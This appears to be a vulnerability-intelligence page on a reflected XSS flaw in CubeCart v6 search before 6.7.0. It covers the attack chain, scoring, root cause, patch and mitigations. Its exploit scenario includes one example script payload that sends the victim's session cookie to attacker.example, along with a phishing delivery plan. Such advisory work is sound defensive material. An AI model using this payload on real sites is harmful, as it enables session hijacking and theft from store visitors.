Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconEnumerate store catalog for single-result keyword
-
DeliveryAppend XSS payload to search URL
-
ExploitDeliver crafted link via phishing
-
InstallVictim clicks and triggers single-result path
-
C2Browser renders unsanitized keyword in notification
-
ExecuteAttacker JavaScript executes in victim context
-
ImpactSession cookie exfiltrated or page defaced
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the attacker-controlled search[keywords] value, when submitted to the target store, returns exactly one product - this is the precise conditional branch in searchCatalogue() where sanitization is absent. This means the attacker must have prior knowledge of or ability to enumerate the store's product catalog to identify a suitable keyword. The CVSS vector confirms PR:N (no authentication required to submit a search) and UI:R (victim must click a crafted link or be redirected to it). Exploitation is limited by: (1) the single-result trigger condition making payload delivery catalog-dependent; (2) mandatory victim interaction preventing automated mass exploitation (SSVC Automatable: no); (3) the attack targets the front-end storefront, not the admin panel, so impact is limited to store visitor sessions. There is no requirement for a non-default configuration - the search feature is standard in CubeCart v6 deployments. |
| Impact | CVSS 6.1 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:C reflects a network-accessible, low-complexity attack requiring no privileges but mandating victim interaction (UI:R), with changed scope (C:L/I:L) impacting confidentiality and integrity but not availability. EPSS at 0.03% (8th percentile) signals minimal observed exploitation probability, consistent with the absence of a CISA KEV listing. However, a publicly available exploit on Exploit-DB (52588) meaningfully lowers the bar for opportunistic attackers. SSVC rates Automatable as 'no' - the requirement for victim interaction and the catalog-dependent single-result trigger condition prevent fully automated mass exploitation. Technical impact is 'partial', aligning with CVSS C:L/I:L. The single-result constraint is a real but fragile limitation: on stores with small or predictable catalogs, an attacker can pre-enumerate product keywords. No signals conflict with each other; all sources converge on a medium-severity, social-engineering-dependent attack with a patch available. |
| Exploit ScenarioDerived | An attacker researches a target CubeCart store's product catalog to identify a keyword that returns exactly one search result, then appends a JavaScript payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) to that keyword within a crafted search URL. The attacker delivers this URL to a logged-in store user via a phishing email or social media lure, and when the victim clicks the link, CubeCart's single-result notification path reflects the unsanitized keyword, executing the attacker's script and exfiltrating the victim's session cookie. A working exploit demonstrating this technique is publicly documented on Exploit-DB (52588). |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 08, 2026
Reflected XSS in CubeCart v6 (prior to 6.7.0) enables unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by delivering a crafted search URL that triggers a specific single-result code path in the search feature. The flaw exists in classes/catalogue.class.php where the searchCatalogue() method reflects the raw $_REQUEST['search']['keywords'] parameter in a notification message without sanitization - but only when the search returns exactly one product, bypassing all other input filters. A working exploit is publicly available on Exploit-DB (52588), though no public exploit identified at time of analysis places this in CISA KEV, and EPSS remains low at 0.03%.
RemediationAI
Upgrade to CubeCart 6.7.0, which contains the vendor-released patch confirmed in commit b9d03e20b9d0f443f8ea55fd834e348438e2cc0c and the GitHub security advisory at https://github.com/cubecart/v6/security/advisories/GHSA-gvcp-wpvp-c6f7. If immediate upgrade is not feasible, deploy a WAF rule to sanitize or block XSS payloads (e.g., angle brackets, javascript: schemes, event handler strings) in the search[keywords] POST/GET parameter - note this may reject legitimate searches containing HTML-like characters and requires tuning. An additional compensating control is to configure Content-Security-Policy headers to restrict inline script execution, which would neutralize injected payloads even if the XSS fires, though CSP implementation in CubeCart v6 would need to be verified for template compatibility.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CubeCart is a PHP-based ecommerce platform (CPE: cpe:2.3:a:cubecart:v6:*:*:*:*:*:*:*:*). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Reflected XSS). Within classes/catalogue.class.php, the searchCatalogue() method passes $_REQUEST['search']['keywords'] directly into a sprintf() call used to construct a user-visible notification when exactly one product matches the query. This code path bypasses the sanitization applied in multi-result and zero-result branches. The fix, confirmed in commit b9d03e20b9d0f443f8ea55fd834e348438e2cc0c, wraps the keyword in htmlspecialchars((string)$_REQUEST['search']['keywords'], ENT_QUOTES, 'UTF-8') at two locations within the method, covering both affected conditional branches. The ENT_QUOTES flag ensures both single and double quotes are encoded, preventing attribute-context escapes.
Know when Cubecart gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
CubeCart is an ecommerce software solution. Prior to 6.7.0, an unauthenticated Reflected XSS vulnerability exists in the CubeCart v6.x search feature. Due to a logic flaw in classes/catalogue.class.php, user input is reflected without sanitization only when a search returns exactly one product. This flaw bypasses current filters, allowing an attacker to execute malicious JavaScript in the victim's browser, leading to session hijacking, site defacement, or phishing. This vulnerability is fixed in 6.7.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
The Cubecart::_basket method in classes/cubecart.class.php in CubeCart 5.0.0 through 5.2.0 allows remote attackers to un
Directory Traversal vulnerability in CubeCart v.6.5.5 and before allows an attacker to execute arbitrary code via a craf
Multiple open redirect vulnerabilities in CubeCart 3.0.20 and earlier allow remote attackers to redirect users to arbitr
File Upload vulnerability in CubeCart before 6.5.5 allows an authenticated user to execute arbitrary code via a crafted
Session fixation vulnerability in CubeCart before 5.2.9 allows remote attackers to hijack web sessions via the PHPSESSID
Authenticated SQL injection in CubeCart before 6.7.5 allows an administrator with access to the admin settings page to m
classes/admin.class.php in CubeCart 5.2.12 through 5.2.16 and 6.x before 6.0.7 does not properly validate that a passwor
CubeCart is an ecommerce software solution. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable
Reflected cross-site scripting in CubeCart versions prior to 6.7.5 allows unauthenticated remote attackers to execute Ja
CubeCart is an ecommerce software solution. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable
CubeCart is an ecommerce software solution. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable
Cubecart 6.4.2 allows Session Fixation. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, lo
EUVD-2026-30164
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB
GitHub
VulDB